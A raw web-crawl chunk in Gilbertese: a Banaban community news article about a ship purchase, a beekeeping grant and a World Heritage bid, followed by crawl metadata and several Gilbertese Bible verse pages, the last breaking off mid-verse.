e a bon riaon te mwiati nakon te aba ae uarereke ao ti tabeman kaina. Ma ti kaitaua ara Tia Tei ngkai e teimatoa ni katerea are Banaba e bon nang okoro ma aban nako Kiribati. Bon akea te manibwa iaon Banaba ao kain te aba a tebotebo n te karau, a wati iai, a moi man kuka iai, ao a teboki naba arokaia iai. Ao kai e kabwaia te aba bwa ae a kabwataki te mwaiti n tangke aio ao ae a tia an ootanaki. A na baae n roko iaon abami n namakaina rake aikai.\nE nang reke ae bon oin am kaibuke!\nImwin ana biriaki-mwaka ara Tia Tei ae MP Timon T Aneri ao e tia ni kabwataki iroun Kaebineti kabwakaan te mwaiti ni mwane ae $364,051.60 nakoia kain Banaba ibukin kabaakin ara kaibuke ngaira kain Banaba. N aron ae ataki ao ti a bon maan n tatakaruaea kainnanoan ae bon oin ara kaibuke are ngaia ae na konaa ni katoki kainnanora n aron karorokoan karara aika bwain te titoa, kako riki tabeua, bwai n aoraki, baoia aoraki, baon ara bwai ni makete ao ai bon baora ni mamananga. A nang tiku ngkai rongorongo aikai inanon ara ururing bwa ae nang reke ae oin ara kaibuke. Inanon ririki ma ririki, ao ti bon titiku naba n raroa nako ma te aonnaba. Ti a bon maan n arora aei, ao ai rarabara ara Tia Tei ae Timon ngkai e kona ni kabwaroa korakorana ae mwaiti ibuakon te kanganga ni iangoan reken ara kaibuke.\nE aoria ma katauraoi ngkami kain Banaba bwa ae nang kabaaki ngkai ami kaibuke ao tao e na tia kabaakina imwin 7 ke 8 namakaina mangkai. Ao ai antai aran ara Kaibuke aei! E tau ko raraba ara Tia Tei ao e raraba naba ara Tautaeka aio ngkai e kona n ongo bwanara ni bubuti rinanom!\nReita nako marurungim te tia Ununiki bwa ae nang roko buokam man te UN-FAO\nKaanga bon taian mii aron reken bwai! >Ma koron nanon taian mii aika a bongana ibukin te botanaomata bon ti man te reitaki raoi ae tamaroa. Eng, aio ae noria te Nati ni Banaba iaon Tarawa, ngke e a manga reke te rongorongo irouna ba ngaia e nang manga tauraoi n reke te mwaiti ni mwane ae US$10,000 ke tebwi tabun tenga te tara n Aotiteria. Aio te mwaiti ni mwane are e toka iaon aia beba ni bubuti kain ara BYE ke the Banaba Young Enterprise. Te mwaiti ni mwane aio e na roko rabatana inanon baia taan tara ana karikirake BYE inanon Tun ke Turai. Man te mwane aio ao e nang koro nanon ana iango te BYE bwa e nang kona ngkanne ni wakina ana karikirake iaon e beki. Aio teuana te karikirake ae baka iai nanoia trimi ni Banaba iaon Tarawa, ao a bon tauraoi naba ni buobuoki ni kabooi kanaia beki aika mena n taian bukibuki.\nA bon anga naba aia kakaitau te Nati ni Banaba nakon te BYE ibukin mauireirein ana iango iaon karikirake aika a nang bongana ao a na kona n uota te maiuraoi nakiora ni kabana. Ma ai bon te kaitau riki ae takaburinako nakon MP Timon ba ngke eaki biriakiana aio ao e na bon aki reke tebwi tabun tenga te tara ibukin BYE.\nNi marorora ma MP Timon iaon maiun BYE, ao e kaotia naba te Tia Tei bwa ngkana e waki raoi te karaoan kanaia ataei ma ni maia man taian mitiin aika a tia n roko ngkai (Baby food and fruit processing) ao e na tauraoi te karikirake aei n anai naba uanikai mai Banaba. Ngkana e a tia are bon oin ara kaibuke ao ikanne are e nang bon raanga te mwane nako Banaba ba e a nakoraoi te waki ni Bitineti.\nTe waki nakon mwaneka aika bubura riki\nTi nang titiku naba n arora aei?\nBon moan te kamino nano kanoan te iango ae na kakaeaki anagan karinan Banaba ba teuana aban te Wolrd Heritage. N ongora iroun te Tia Tei ae Timon ao e karakina mwin ana maroro ma aobitian te tabo ni makuri ae te Environment ike e a kaotia iai ngkana arona bwa e boutokaki ana inago aei irouia kain Banaba ma te Kauntira ao ngkanne e kabirimwaka naba ana iango aei bwa e aonga n reke te kabwaia ae teimatoa nakoia kain Banaba. Aikai tabeua rongorongon te World Heritage ma tamnein taian kabwaia ke benefits ake a na kona n reke nakon Banaba:\nUnited Nations World Heritage.\nTe World Heritage bon karinan te aba teuana ke te aono teuana ae iai rakan arona bwa e na kinaaki n te United Nations. Karaoan aei ao e na tabekaki aran te aba anne rinanon te Tautaeka ae kinaaki. Ma ikanne ao e a karaoaki naba te application ke te beba ni bubuti ibukin karinan aran te aba anne.\nIrarikin anne ao iai naba te katautau bwa e na karaoaki te Marine Protected Area ae bwa raonan te iango aei. Abara ae Banaba, bon te aba teuana ae ae kakan ngkana e rin ba teuana te World Heritage Site. Ni kamatoan aei man aobitin te Environment ao ti karekea te rongorongo ae kakukurei bwa ngkana e rin Banaba bwa aban te World Heritage ao e bon aki anaaki rikian tei Banaba ma inaomatana. Butan te aba are e a tia n rin n te World Heritage Site, bon moan te bebete ao akea te rekenikai iai ke te tuuaa.\nBaika iai iroun Banaba aika a na kaangaraoa rinna n te World Heritage, bon rongorongon ao tein aon abara aika a kakaongora man kaokoro ma tein aban Kiribati nako. Aikai tabeua katoto:\nBanaba e kakaongora ana history ke rongorongona ngkoa. E a tia n riki ba te aba ae kaubwai man riki bwa kanga te city teuana ao ngkai e a kitanaki man tiku bwa kanga te aba ae ai tii tabeman kaina;\n(2) Banaba ngaia naba teuana te aba ae korakora rongorongon te Kauoua-ni-buaka n te aonnaba iai. Rongorongon te kabaku roroa ao rongorongon Kabunare ngaia naba teuana ae matai iai te World Heritage;\n(3) Taian caves aika iaon Banaba ngaia naba rinen abara aio ao te World Heritage e tauraoi ni buokii kawakinan ao katamaroan bwangabwanga aikai;\n(4) Marin ara marawa ma maiuraoin rakaina ngaia naba ae kakawaki iroun te World Heritage;\n(5) Kateia kain Banaba (culture) ma rongorongoia (history) man te tai are imwain te keniken ni karokoa te roko i Rabi ao ni karokoa ngkai, aio e nang ni kakaongora naba iroun te World Heritage;\n(6) Rietatan abara n te aro are na kanganga waekoan ekakinakoana n Iabutin Tari, ngaia teuana ae e okoro iai tein Banaba ma aban nako Kiribati, ao aio naba ngkanne ae katika nanon te World heritage.\nAo iai te Kabwaia ae na reke man te World Heritage?\nTe kabwai ae na reke man te waki aio e na rianako riki mwaitina nakon are e a manga kenaki abara. E a tau moa kenakin Banaba bwa e a bon ikoaki. E a ikoaki mwngaia ara bakatibu ao e a wene ma te kirimwakamwaka ao te maraki. Ma ngkana e a manga kenaki, ao iaki ataia bwa a na mwaitira te kawaia nakoira ngaira aika kain Banaba, ao tao a na maanra?\nMa rikin Banaba ba teuana te World Heritage Site, bon kaukan mataroan te kabwaia teuana ae na teimaan nakoia te nati ni Banaba. Ao ko ataia bwa ia aba aika a tia n rin n te World Heritage? Aikai tabeua: te Great Wall of China, taian pyramid ake i Aikubita (Egypt), te buaakonikai ae te toa are n te Amazon ke i Amerika maiaki, mwiin te city are Baburon irarikin Iraq, ao a mwaiti riki. Ao e a uara ngkana e a rin abam ae Banaba ibuakoia aaba ke tabo aika a kakawaki man kakannato aikai? Tiaki nanona bwa e nang manga uki matan te aonnaba ao man tara Banaba ba aia tabo n neweaba? Ngkana e kuba n roko te cruise liner tueana ikai ae kaan 2,000 kaina, tao e na mwaitira ngkanne te kabwaia ae na bwakara abara? Ao ngkana a manga ongo kain Aotiteria ao New Zealand ake a ikawai-rake iaon Banaba n tain te BPC, tiaki bwa a na bon kan manga nakomai ni kakoaua ae Banaba are a rikirake iaona ngaia ai aban te World Heritage? Bon te kabwaia ae bubura ao e na tei-maan ae na roko iaon abara man kinakin abara bwa te World Heritage Site.\nIrarikin anne ao bon iai naba taian mwane aika a na bwaka man te World Heritage nakon Banaba ibukin mwakurian katamaroan tabo ake e nano iai te World Heritage ao te mwane naba ibukin kateimatoaan tabo aikai.\nRaonan te World Heritage – Trust Fund\nIai naba iangoan katean tabo n akawa aika na kainaki ke taian Marine Protected Areas (MPA). Bukin aei bwa e aonga ni kateimatoaki aia tabo ni kaabung ika, ao aio are e nano naba iai te World Heritage. Ngkana e boutokaaki te iango aei ao e na iai ngkanne iangoan katean ara Trust Fund ke oin ara mwane n tania man rabata ni buobuoki n te aonnaba n aron te International Conservation ao tabeua riki. Rabwata aikai ake a tauraoi n anga aia mwane nakon aaba ake a tauraoi ni kaini aia tabo n akawa tabeua. Te mwane are a na tauraoi ni kabwakaa, e na bwaka nakon te Trust Fund bwa onean mwin ika ake a nang tauraoi ni kainaki man aki anaaki. E iangoia naba te Tia Tei ma kain ana tiim iaon Tarawa ikai bwa na kabongana naba te Internet n toma ma nake iai nanoia i Banaba n te aonnaba bwa a na buoka karekarean ao kateiraoan te Trust Fund aei.\nImwain ae kabwataki te iango aei iroum ngkoe tei Banaba\nAo bon te bubuti bwa ko bia boutokaa te iango aei. E a tau moa iangoan kenankin te aba bwa e a kawa abara ae a wene bwa ai te ikoaki. Ti kakai riki angan kabwaiara man itera aika a teimaan (sustainable) inanon ara roro aei ao nako roro aika na roko. N te kakatauraoi nakon te mwaneka aei, ao iai ngkai ana tiim te Fisheries ae tauraoi ni buokira ni kakaei aia tabo ni kaabung ika ake ti na tauraoi ni kaini, ao ni kakoaua naba ba e na aki rotaki iai maiura ma ara kareke tianti n te bong ae koraki.\nRongorongo aika ti kukurei iai ngaira tarimi iaon Tarawa ao tinanikun Kiribati\nNgaia a reke naba ami computer? Ai bon akea te bwai ae kam na bwaka iai! Ma a rarabwa naba iango aika a raraoi aikai. Te computer bon kabutimwakaan te mwakuri. A bia bongana raoi reke ami computer aikai ao e raba ara Tia Tei are e biriakini baikai ibukin kabutiraoan ana waki ara BIC. Ma tera ngke e kona naba ni manag iangoa reken taian computer ibukia ara ataei? E aoria bwa ae inanon taina. Ka ae reke te Kaibuke, ao e aera a naki reke computer, ngkai aio bon ibukin kabwaiaia ara ataei.\nTi ongo naba ae ngaia e a tia naba n reke iroumi te mwaiti ni mwane ae $11,000 ibukin kateimatoan te kako nako Banaba. Ba are e koaua bwa ngkai a bon rarawa kambana ni kaibuke ni kan kakawara abara bwa tao a ruti iai, ma e raba reken te mwane anne are e a kona ni katea aan ami boboti ni kamwaita ana kaako ao mani kona n taninga te kaibuke are imwina.\nKABANEA N TAEKA\nAi bon bwaanam am Beba ae Tei Banaba ni kakatekeraoi nakoimi kain Banaba inanon moan wakin te ririki aei. Taiaoka kaungaia ami ataei nakon aia reirei bwa man nakoraoin aia reirei ao man reken rabakauia ao e na riki bwa kamatoan aan abara ao rikirakena nakon ririki aika a na roko.\nAm Beba ni kaongora aio, e na kataia n kateimatoa kakaongoraeam ni katoa kaka teniua namakaina. Am Beba naba aio e na teimatoa n tatakuraea rongorngon te wakirake ao rongorongon taian kabwaia aika a na bwaka nako aon abara ae tangiraki.\nAi bon te kakatekeraoi naba nakon ara Tia Tei ma buna aika ngaia aika a bweea te waa n te tai aio ao ti bon kakaitau ibukin nakoraoin ana waki ngkai ti a nori taian uaa aika a mwaiti ao man uota te rau, te maiuraoi ao te kabwaia nakon abara ae tangiraki. Tiaki mwaninga naba taekaia kain ana tiim ni iango ake a boutokai ana iango aika a mwaiti man boongana nakon Banaba.\nE a kaan te rinerine ao am Beba aio e a bon anga naba ana katekeraoi nakoia ake a tauraoi n anga araia ao man kan riki naba bwa tooro ngaia ni biriakini kabwaiaia kain abara. Ti nora uaan ae makuria ngkai MP Timon ao e bia tomaki nako te aekaki ni bekutata aio.\nKam raba ao te Uea imarenara mangkami.\nMore Banaban News Archives","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.banaban.com\/contents\/en-us\/d131.html","date":"2017-02-23T13:59:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171171.24\/warc\/CC-MAIN-20170219104611-00395-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2818,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:1515Ma n te reta aei ao I a tia n ninikoria n taekini b'aai tabeua aika I a tia ni kauringngkami iai. I ninikoria n taekin i bukina b'a E a tia te Atua n ana akoi ni karikai Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/15","date":"2017-02-21T01:03:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170614.88\/warc\/CC-MAIN-20170219104610-00037-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000063180923462}","num_words":55,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:22are E a tia ni karekea angaraa n te onimaki b'a ti na roko i nanon te akoaki aei, ae ti mena iai ngkai; ao ti kakatonga ni kaantaningan te neboaki ma te Atua. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/2","date":"2017-02-20T13:51:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170562.59\/warc\/CC-MAIN-20170219104610-00310-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999873638,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999873638153076}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:99Ao ai aromi naba, ngkana kam aki b'aina te taetae ae kai ataaki nanona, ao e na iranaki n ataaki nanon te baere e taekinaki? B'a ane kam na taetae nakon te ang. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/9","date":"2017-02-21T14:28:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170741.49\/warc\/CC-MAIN-20170219104610-00152-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999307394,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.999930739402771}","num_words":49,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E taku naba Iesu nakoia ana reirei, Iai ngkoa te aomata ae kaub'ai, ae iai ana manatia; ao e uotaki taekan te manatia arei nako ina b'a e bakataei ana b'ai. 2Ao e weteia ao e taku nako ina, \"Tera taekam aei, ae I ongo? Kaoti nako iu mwin am m'akuri ni manatia, b'a ko na aki manga manatia.\" 3Ao e taku te manatia i nanona, \"Tera ae N nang karaoia, b'a ae e a anaaki mai rou te nakoa ni manatia iroun au mataniwi? E aki tau korakorau ni keniken, ao I mamaa ni bubuti. 4E a tia au baire n te bae N nang karaoia, b'a a aonga aomata ni butim'aeai nakoni mwengaia n te tai are I kabaneaki iai man nakoau ni manatia.\" 5Ao e weteia aomata n tatabemaniia nako ake a taarau iroun ana mataniwi, ao e taku nakon are te moa n aomata, \"Iraua am taarau iroun au mataniwi?\" 6Ao ngaia e kangai, \"Tebubua te b'ai ni baire ni b'a.\" Ao e taku te manatia nako ina, \"Ko na anaa beeb'an am taarau, ao kawaekoako tekateka ao korea nimabwi.\" 7Ao e taku nakon are temanna, \"Ao iraua am taarau?\" Ao ngaia e kangai, \"Tebubua te b'ai ni baire n uita.\" E taku te manatia nako ina, \"Ko na anaa beeb'an am taarau, ao korea wanibubua.\" 8Ao te mataniwi, e kamoamoa te manatia are e aki b'aina te eti i bukin iangoraoina; b'a a wanawana riki natin te aonnaba aei n aroia n reitaki ma aia roro nakoia natin te oota. 9Ao I taku nako imi, Kabonganai kaub'aimi aika b'ain te maiu aei b'a b'aini karekeaia raomi; ao ngkana a bane, ao ane kam na m'aneaki n akoaki ni ne ni maeka ake a aki mamauna. 10Ane kakaonimaki n ane moan te uarereke, ao e kakaonimaki naba n ane moan te ab'ab'aki; ao ane aki b'aina te eti n ane moan te uarereke, ao e aki b'aina naba te eti n ane moan te ab'ab'aki. 11Ngkana arona b'a kam aki kakaonimaki nakoni kaub'ain te maiu aei, ao antai ae na mwiokoi kaub'ai ni koaua i roumi? 12Ao ngkana kam aki kakaonimaki nakon are ana b'ai te aomata temanna, ao antai ae na anganingkami baike bon ami b'ai? 13Akea te toro ae kona n toro irouia uoman mataniwi; b'a ane e na riba temanna, ao e na tangira temanna, ke e na rangi n reitaki ma temanna, ao e na kakeaa bonganan are temanna. Kam aki kona n toro iroun te Atua ma kaub'ain te maiu aei. 14A ongo baikekei ni kabane B'aritaio ake a baki m'ane, ao a kakanikoa Iesu. 15Ma E taku nako ia: Ngkami aika kam karaoiroingkami i mataia aomata, ma E atai nanomi te Atua; b'a te b'ai ae kakannato irouia aomata ao bon te b'ai ae ribaaki i matan te Atua. 16A teimatoa bonganan taeka ake a koreaki n te Tua ma aia boki burabeti ni karokoa kaotin Ioane are te tia B'abetito; ao man te tai arei, ao e tataekinaki te rongorongo ae raoiroi ae taekan uean te Atua, ao a bane aomata ni kakorakoraia n rin iai. 17Ma e kai mauna riki karawa ma aonnaba, nakon ae e na mauna bonganan teuana manin taekan te tua. 18Ane raure ma buuna ao e a manga buuna te aine temanna, ao e wene ni bure iai; ao ane buuna neiere raure ma buuna, ao e wene ni bure iai. 19Temanna te aomata ngkoa ae kaub'ai, ae e kunnikainna ni kunnikai aika bo buaka aika uraro ao a mainaina, ao e kukukurei n am'arake raoi n te bong ae koraki. 20Ao te aomata temanna ae arana Rataro, ae akea ana b'ai, ae e kiaraki rab'atana n te kaboa, e kaweneaki i rarikini mataroan oon ana auti teuare kaub'ai, 21ao e kani kaam'arakeaki man tamrurun am'arake ake a b'aka man ana taibora n am'arake teuare kaub'ai; ao a roko kamea n newenewei kaboana. 22E mate teuare akea ana b'ai ao e uotaki irouia anera nako rarikin Aberaam. E mate naba teuare kaub'ai ao e taunaki; 23ao ni menana i Eriti, ngke e taonaki n te maraki ae korakora, ao e tararake; ao e nora Aberaam b'a e mena i kiraroa ma Rataro i rarikina. 24Ao e weteia ni kangai, \"Tamau ae Aberaam! ko na nanoangaai, ao kanakomaia Rataro b'a e na kateboa taboni baina n te ran ao e na kam'aitoroa neweu, b'a I kainano ni maraki n uran te ai aei.\" 25Ma e taku Aberaam, \"Natiu, ko na uringnga b'a ngkoe n am tai ni maiu ao a rereke nako im baika raraoi, ma Rataro e rereke i rouna baika buakaka; ma ngkai, e a reke i rouna raun nanona ikai, ao ngkoe ko kainano ni maraki. 26Ma tiaki ti aei, b'a iai te kam'anono ae nano ao e raababa ae e mena i marenara, n te aro b'a akea ae e na kona ni m'ananga maikai nako im, ao maikanne nako ira.\" 27Ao ngaia e taku, \"Ngkana ngaia anne ao I a butiko, tamau ae Aberaam b'a ko na kanakoa Rataro nakon ana auti tamau, 28b'a iai niiman tariu, ao e na angania te taeka ni katauraoi b'a a aonga n aki roko n te tabo ae kamaraki aei.\" 29Ma e taku Aberaam, \"Iai i rouia ana boki Moote ao aia boki burabeti a riai n ongo ao n ongeaba nakoni baike a koreaki i nanoia.\" 30Ao ngaia e kangai, \"Tamau ae Aberaam, tiaki; ma ngkana iai mai buakoia maate ae nako ni kawariia, ao ane a na rairi nanoia iai.\" 31Ao e taku Aberaam nako ina, \"Ngkana a aki ongo n taeka ake a koreaki n ana boki Moote ma aia boki burabeti, ao a na bon aki anaaki naba nanoia ngkana tao e kaoti temanna mai buakoia maate.\"\nCopyright","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/16","date":"2017-02-25T20:57:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171834.68\/warc\/CC-MAIN-20170219104611-00006-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":960,"character_repetition_ratio":0.047,"word_repetition_ratio":0.008,"special_characters_ratio":0.251,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:77B'a e kangaanga ae e na mate temanna i bukin te aomata ae kakaonimaki n ira nanon te tua; ma tao e a kona ni mate i bukin te aomata ae e raoiroi. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/7","date":"2017-02-23T12:26:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171166.18\/warc\/CC-MAIN-20170219104611-00315-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999898672103882}","num_words":49,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:2525Ma I taku b'a e bon riai b'a N na kanakoa nakoimi Eb'aberorito, ae tariu ao raou ni m'akuri ma ni buaka, ae ami aomata are kam kanakoa i bukini buokani kain nanou. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/25","date":"2017-02-20T05:05:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170404.1\/warc\/CC-MAIN-20170219104610-00193-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9997865558,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9997865557670593}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MATAIO 1:1818Aio aroni bungiakin Iesu Kristo; e a tia ni kabae tinana are Nei Maria ma Ioteb'a, ma i m'ain ae a mareaki ao e ataaki b'a iai te teei i birotona mairoun te Tamnei are Raoiroi. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/1\/18","date":"2017-02-20T05:17:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170404.1\/warc\/CC-MAIN-20170219104610-00201-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9979224801,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9979224801063538}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11Ma E a tia n roko Kristo b'a te Ibonga ae Kakannato i bukini baika raraoi aika kamani mena ikai, ao E nako n ri nukan te um'anrianna ae kakannato riki ma n raoiroi riki, ae e aki karaoaki ni bain te aomata, ao tiaki b'ain aon te aba;\nEBERA 9:11\nFREE!\nOne App.\n1221 Languages.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/11","date":"2017-02-26T12:31:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172000.93\/warc\/CC-MAIN-20170219104612-00523-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A bati aomata ake a tia ni koroi taekani baike a tia n riki i buakora, 2ao a reke aia rongorongo mairouia te koraki ake a tia n nori baikai mai moana, ake taan tataekina te euangkerio; 3ma I taku b'a e raoiroi naba i rou, ngkai I a tia ni karaua n ukoukori taekani b'aai ni kabane i nanon taai aika tia n nako, b'a N na koroi naba n te aro ae nako raoi riki i bukim, Teobiro ae ko karineaki, 4b'a ko aonga n atai koauani baike ko a tia n reireiaki iai. 5I nanon ana tai n uea Erote, are ueani Iutaia, ao iai te ibonga temanna ae arana Takaaria, ae kaain te utu n ibonga are Abiia; ao buuna e riki man ana utu Aaron mairouia natina ake aine, ao arana Nei Eritabeta. 6Ao a b'aina te maiu ae raoiroi Takaaria ma Nei Eritabeta i matan te Atua n aroia n tou mwin ana tua ma ana moti nako te Uea n aki bubure iai. 7Akea natiia b'a e kanoabo Nei Eritabeta, ao a uaia ni kara. 8Ngke e tabe Takaaria ni karaoa nakoana n ibonga i matan te Atua ni bongin aia tai n tei ana koraki n ibonga, 9ao e reke n te kaiwa, n ai aron aia katei ibonga, b'a ngaia ae e na rin n te ruu are tabu i nanon te um'antabu b'a e na kabuoka te karea ae te b'ai ae boiarara. 10Ao a tataro aomata aika bati i tinanikun te ruu are tabu ngke e kabuoki karea ake a boiarara Takaaria. 11Ao e kaoti nako ina ana anera te Uea n tei man te angaatai n iteran te baonikarea are a kabuokaki iai karea ake a boiarara. 12E kiriwe nanon Takaaria ngke e noria, ao e taonaki n te maaku. 13Ma e taku te anera nako ina, \"Tai maaku, Takaaria! b'a E ongo am tataro te Atua, ao buum ae Nei Eritabeta, ane e na bungia natim te m'ane, ao ko na aranna b'a Ioane. 14Ane ko na kaonaki n te kukurei ae moan te bati, ao ane a na kim'areirei aomata aika bati ni bungiakina; 15b'a ane e na kakannato i matan te Uea, ao e na aki nima te wain ae kamanging ke mooi aika matoatoa, ao e na kaonaki n te Tamnei are Raoiroi, man te tai are e mena iai i nanon biroton tinana. 16Ane e na kaokiia Iteraera aika bati b'a a na manga ira nanon te Uea ae Atuaia, 17ao ane e na ri moan te Uea ma te nano ae korakora ao ae m'aaka n ai aron are iroun te burabeti are Eria, b'a e na kaoki aroia n reitaki ae tamaroa kaaro nakoia naati, ao ake a aki ongeaba nakoni wanawanaia aomata ake a raoiroi. Ane e na buoki nanoia aomata b'a a aonga n tauraoi i bukin te Uea.\" 18Ao e taku Takaaria nakon te anera, \"Tera te b'ai ae N na ataia iai b'a e koaua anne? B'a I a unimm'aane ao e a kara buu.\" 19E kaeka te anera ao e taku, \"Kabiriera ngai, ae ana tabonibai te Atua; ao I kanakomaiakaki b'a N na taetae nako im, ao b'a N na uota te rongorongo ae raoiroi aei nako im. 20Ao noria, ane e na bua b'anaam ao ko na aki kona n taetae ni karokoa te bong are a na kakoroaki iai nanoni baikai, i bukina b'a ko a tia n aki kakoauai au taeka aika a na kakoroaki bukiia ngkana a roko taiia.\" 21A bane aomata n tataninga Takaaria, ao a mimi ngke e a maan i nanon te ruu are tabu. 22Ngke e oti nako, ao e aki kona n taetae nako ia, ao a ataia b'a iai te b'ai ae kamimii ae e a tia n noria i nanon te ruu are tabu; ao e teimatoa arona n aki kona te taetae. 23Ngke a bane bongin ana tai ni m'akuri Takaaria n te um'antabu, ao e oki nakoni mwengana. 24Ao i mwini boong akekei, ao e bikoukou buun Takaaria are Nei Eritabeta, ao e aki otiotinako man te auti i nanon nimaua te nam'akaina. E taku Nei Eritabeta, 25\"E karaoa ae aron aei te Uea nako iu ni boong ake E nanoangaai iai, b'a E na kaki mai rou te b'ai ae I mamaa iai irouia aomata!\" 26Ngke ai ana kaonoua n nam'akaina Nei Eritabeta ao E kanakoaki te anera are Kabiriera mairoun te Atua nakoni kaawan Kariraia ae arana Natareta, 27b'a e na kawara te teteeinaine ae tuai iein ae kabae ma te aomata ae arana Ioteb'a, ae kaain ana utu te uea are Tawita; aran neiei boni Nei Maria. 28E roko te anera i rouna ao e taku, \"Ko na mauri, ngkoe ae reke i roum te akoaki, E mena i roum te Uea!\" 29Ngke e ongo Nei Maria ana taeka te anera ake e taekin ao e kakiriweaki nanona, ao e iango i nanona b'a tera nanon te aeka ni kamauri arei. 30E taku te anera nako ina, \"Tai maaku, b'a E a reke i roum te akoaki mairoun te Atua. 31Ao noria, ane ko na bikoukou ao ane ko na bungiia te nati te mm'aane, ao ko na aranna b'a Iesu. 32Ane E na kakannato, ao E na aranaki b'a Natin te Atua are Moan te Rietaata; ao te Uea ae te Atua, E na anganna te nakoa n uea n ai aron are e a tia n reke ngkoa iroun Tawita are ana bakatibu; 33Ao ane E na uea i aoia aomata nako ake a riki mairoun Iakob'a; ao e na akea tokin ueana!\" 34E taku Nei Maria nakon te anera, \"E na kanga n riki aei, ngkai I tuai n iein?\" 35E taku te anera nako ina, \"Ane E na ruoniko te Tamnei are Raoiroi, ao ane e na rabuniko m'akan te Atua are Moan te Rietaata; ma ngaia are te teei ane na 